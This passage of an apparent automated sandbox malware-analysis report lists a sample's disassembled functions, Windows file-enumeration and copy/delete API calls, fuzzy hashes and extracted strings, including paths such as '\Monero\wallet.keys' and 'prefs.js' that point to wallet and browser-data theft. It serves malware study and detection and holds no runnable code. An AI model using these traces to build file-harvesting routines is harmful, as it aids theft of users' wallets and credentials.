Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 0db90db18d94ab6cfc4e6be1a4551be404306f046f6f3fdafee965cb83755ca8
Instruction ID: d6c39bb443de84195a641003214bfa3102f4b67bfecd8e64031e723e0f15d8cf
Opcode Fuzzy Hash: 0db90db18d94ab6cfc4e6be1a4551be404306f046f6f3fdafee965cb83755ca8
Instruction Fuzzy Hash: AC5169B2540218ABC765EBB0DC89FEE777CAB59700F408588F60D96150EB759B84CF92

Function 00173EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00173EC3
FindFirstFileA.KERNEL32(?,?), ref: 00173EDA
StrCmpCA.SHLWAPI(?,00180FAC), ref: 00173F08
StrCmpCA.SHLWAPI(?,00180FB0), ref: 00173F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0017406C
FindClose.KERNEL32(000000FF), ref: 00174081

Strings

%s\%s, xrefs: 00173EB7

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 644ebb8e993caef985aa5a8e6ca873757f08f54c57a2327e5c3dee995efd323c
Instruction ID: f3623ee565372955d34abe8796cbc4899cf67dd1931a9a08f4fce875d5084c01
Opcode Fuzzy Hash: 644ebb8e993caef985aa5a8e6ca873757f08f54c57a2327e5c3dee995efd323c
Instruction Fuzzy Hash: 375176B2900618ABCB65FBB0DC85EEE737CBB99304F408588B75D96040DB759B89CF91

Function 0016ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0016ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0016ED55
StrCmpCA.SHLWAPI(?,00181538), ref: 0016EDAB
StrCmpCA.SHLWAPI(?,0018153C), ref: 0016EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0016F2AE
FindClose.KERNEL32(000000FF), ref: 0016F2C3

Strings

%s\*.*, xrefs: 0016ED32

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: e2bb02db1d619afc57717e551aaaf4a0b1705ad732ccaa8a34e5f5d7ad11ca25
Instruction ID: 175e562c609fda5cbfe1eac39784de8ed7f8c3dda2a70b8506809aeaa7e2965f
Opcode Fuzzy Hash: e2bb02db1d619afc57717e551aaaf4a0b1705ad732ccaa8a34e5f5d7ad11ca25
Instruction Fuzzy Hash: 66E1D3729111189ADB55FB60DC52EEE737CAFA4301F8085D9B51E62092EF306F8ACF52

Function 0016F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 0017A920: lstrcpy.KERNEL32(00000000,?), ref: 0017A972
Part of subcall function 0017A920: lstrcat.KERNEL32(00000000), ref: 0017A982

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001815B8,00180D96), ref: 0016F71E
StrCmpCA.SHLWAPI(?,001815BC), ref: 0016F76F
StrCmpCA.SHLWAPI(?,001815C0), ref: 0016F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0016FAB1
FindClose.KERNEL32(000000FF), ref: 0016FAC3

Strings

prefs.js, xrefs: 0016F812

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 22f4de46d8d77f017bf97d57328de5a59686747c92fbfb0ec52876e8156381d8
Instruction ID: ec841dd489540a8a2a8327ff99604ca02d017b0d3419991d34326a13423e7bd4
Opcode Fuzzy Hash: 22f4de46d8d77f017bf97d57328de5a59686747c92fbfb0ec52876e8156381d8
Instruction Fuzzy Hash: 1CB144719001189BCB24FF74DC56EEE7379AFA4301F8085A8A50E97191EF315B5ACF92

Function 001616D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0018510C,?,?,?,001851B4,?,?,00000000,?,00000000), ref: 00161923
StrCmpCA.SHLWAPI(?,0018525C), ref: 00161973
StrCmpCA.SHLWAPI(?,00185304), ref: 00161989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00161D40
DeleteFileA.KERNEL32(00000000), ref: 00161DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00161E20
FindClose.KERNEL32(000000FF), ref: 00161E32

Part of subcall function 0017A920: lstrcpy.KERNEL32(00000000,?), ref: 0017A972
Part of subcall function 0017A920: lstrcat.KERNEL32(00000000), ref: 0017A982

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

Strings

\*.*, xrefs: 001617F1

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 433ecc31cdce9f775a807e37145c73ee6c67507c12364d3edbb6817175972289
Instruction ID: fce7e0017bc256f99a84d02b9e258d6b3e1dec4b0c45a3b640b9cb8d0c9685e7
Opcode Fuzzy Hash: 433ecc31cdce9f775a807e37145c73ee6c67507c12364d3edbb6817175972289
Instruction Fuzzy Hash: EE1207719501189BDB59FB60CC96EEE737CAFA4301F808599B51E62091EF306F89CF92

Function 0016DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00180C2E), ref: 0016DE5E
StrCmpCA.SHLWAPI(?,001814C8), ref: 0016DEAE
StrCmpCA.SHLWAPI(?,001814CC), ref: 0016DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0016E3E0
FindClose.KERNEL32(000000FF), ref: 0016E3F2

Strings

\*.*, xrefs: 0016DE26

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 566fd9354f0865877c194d83c63f67fd6a12dbb3f9ce8f932844ff07da1b973f
Instruction ID: df04f7dcf0dd38588199fe638343c97c21c4fc82d21cbbe6c65825f36f5091df
Opcode Fuzzy Hash: 566fd9354f0865877c194d83c63f67fd6a12dbb3f9ce8f932844ff07da1b973f
Instruction Fuzzy Hash: CFF17D719541189ADB19FB60DC95EEE7378BFA4301FC081D9A51E62091EF306F8ACF62

Function 0016DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 0017A920: lstrcpy.KERNEL32(00000000,?), ref: 0017A972
Part of subcall function 0017A920: lstrcat.KERNEL32(00000000), ref: 0017A982

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001814B0,00180C2A), ref: 0016DAEB
StrCmpCA.SHLWAPI(?,001814B4), ref: 0016DB33
StrCmpCA.SHLWAPI(?,001814B8), ref: 0016DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0016DDCC
FindClose.KERNEL32(000000FF), ref: 0016DDDE

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 32d6dd2b75f913e1469a6dc7135cbc76fe1e316ec58a7310a9e870c5f53bff4e
Instruction ID: 59f90dbeb0e2030edafb965be52d98d078038a3301e20b53eaacd69d3d69b84d
Opcode Fuzzy Hash: 32d6dd2b75f913e1469a6dc7135cbc76fe1e316ec58a7310a9e870c5f53bff4e
Instruction Fuzzy Hash: 97913372A00104ABCB15FBB4EC569EE737DAFE5301F80C558B91A96181EF349B19CB93

Function 00530E13 Relevance: 12.9, Strings: 9, Instructions: 1667COMMON

Download Yara Rule

Strings

JCj[, xrefs: 00531548
%x~o, xrefs: 005321B0
W?5, xrefs: 00532265
W?5, xrefs: 00532250
t\_, xrefs: 00531AA9
/}, xrefs: 0053151E
5J/, xrefs: 00530F02
n}^, xrefs: 0053194D
1J/, xrefs: 00530F07

Memory Dump Source

Source File: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %x~o$1J/$5J/$JCj[$W?5$W?5$t\_$/}$n}^
API String ID: 0-2749340528
Opcode ID: d2326108b9af6df26ec6643e2c8cc2335dd66ea178aebba894c9d939da442a92
Instruction ID: 1ee6d0300d1ef64cd83ccb7928e30e6b030910e9997eb529366bacd1765d4b03
Opcode Fuzzy Hash: d2326108b9af6df26ec6643e2c8cc2335dd66ea178aebba894c9d939da442a92
Instruction Fuzzy Hash: B6B21BF360C6009FE308AE2DDC8567AB7E9EF94720F1A863DEAC5C7744E93558018697

Function 00521D96 Relevance: 11.6, Strings: 8, Instructions: 1639COMMON

Download Yara Rule

Strings

AQ, xrefs: 00522549, 00522555, 005225AE, 005225CD, 005225E8, 005225FF, 00522757, 00522771, 0052277C
a%@s, xrefs: 00522B6A
ub}, xrefs: 0052268B
u?~, xrefs: 00521F67
DOXK, xrefs: 00522CC6
9IE, xrefs: 005226EF
'j[, xrefs: 00522697
0~ |, xrefs: 005221A8

Memory Dump Source

Source File: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 'j[$0~ |$9IE$AQ$DOXK$a%@s$u?~$ub}
API String ID: 0-250917369
Opcode ID: cc922f6930b7667376268f790abdd0794b4aa7b61ac6c1a8105e81eb6e2ba3b8
Instruction ID: 8e6c4b7e374ade9111118e2b43d5a544f625809215d83e3f413e07585452d29a
Opcode Fuzzy Hash: cc922f6930b7667376268f790abdd0794b4aa7b61ac6c1a8105e81eb6e2ba3b8
Instruction Fuzzy Hash: F1B229F390C204AFE3146E2DEC8567ABBE9EF94720F1A493DEAC4C3744E63558058697

Function 0052532C Relevance: 11.6, Strings: 8, Instructions: 1625COMMON

Download Yara Rule

Strings

!pC\, xrefs: 005258BB
<:Sk, xrefs: 00525BA9
ebw[, xrefs: 00525E28
8^t, xrefs: 0052661D
7, xrefs: 00525C72
+kO, xrefs: 00526390
le], xrefs: 005255DC
[37, xrefs: 00525F22

Memory Dump Source

Source File: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !pC\$<:Sk$[37$ebw[$le]$+kO$8^t$7
API String ID: 0-1760684657
Opcode ID: 70de5e199ad2c3789d753eeb36a7e32cc84eeab87662eed9e8a1990a85ab1c5b
Instruction ID: 24237312aa7cc146f420aca5424fa28820601e3a10d806fb2d100b5811133de5
Opcode Fuzzy Hash: 70de5e199ad2c3789d753eeb36a7e32cc84eeab87662eed9e8a1990a85ab1c5b
Instruction Fuzzy Hash: 1EB207F36086049FE304AE2DEC8567AFBE5EF94320F164A3DEAC4C3744E63599058697

Function 00526E28 Relevance: 11.6, Strings: 8, Instructions: 1617COMMON

Download Yara Rule

Strings

+Nw, xrefs: 00527F3E
6}, xrefs: 00527C08
dtM~, xrefs: 00527D25
Jc~, xrefs: 005279C7
MS.I, xrefs: 00526EFE
bP~_, xrefs: 00527C83
'{F, xrefs: 00527BAA
34gv, xrefs: 00527A7E

Memory Dump Source

Source File: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
